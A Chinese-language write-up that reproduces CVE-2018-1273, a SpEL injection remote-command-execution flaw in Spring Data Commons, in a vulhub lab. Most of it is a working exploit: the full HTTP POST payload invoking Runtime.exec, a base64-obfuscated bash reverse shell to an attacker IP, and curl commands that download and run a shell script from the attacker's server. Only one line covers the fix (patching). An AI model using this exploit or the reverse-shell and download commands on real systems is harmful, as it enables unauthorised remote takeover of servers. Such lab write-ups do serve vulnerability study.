Spring Data Commons-远程命令执行漏洞(CVE-2018-1273)
0x00 前言
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
影响版本:
Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 - 2.0.5 (Kay SR5)
Spring Data REST 3.0 - 3.0.5 (Kay SR5)
0x01 环境搭建
这里使用vulhub漏洞靶场
cd /opt/vulhub/spring/CVE-2018-1273
docker-compose up -d
0x02 复现步骤
1、准备POC
POST /users?page=&size=5 HTTP/1.1
Host: your_ip:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://your_ip:8080/users
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 124
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=
exec中的命令可根据需要自行修改,注意这里的Host和Referer字段都需要修改
2、使用burpsuite改包后转发
3、不获取shell怎么能叫利用成功呢
# 这里反弹shell 发现有等号可能会失败
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyLjE1Mi81NTU1IDA+JjE=}|{base64,-d}|{bash,-i}
换个思路,在自己的服务器上创建一个shell脚本,脚本里执行反弹命令
# 开启http服务
python3 -m http.server 8080
# 利用curl下载shell脚本
curl -o /tmp/shell.sh http://192.168.12.152:8080/reshell.sh
# 运行下载的reshell.sh
bash /tmp/shell.sh
0x03 修复建议
1、及时更新官方最新补丁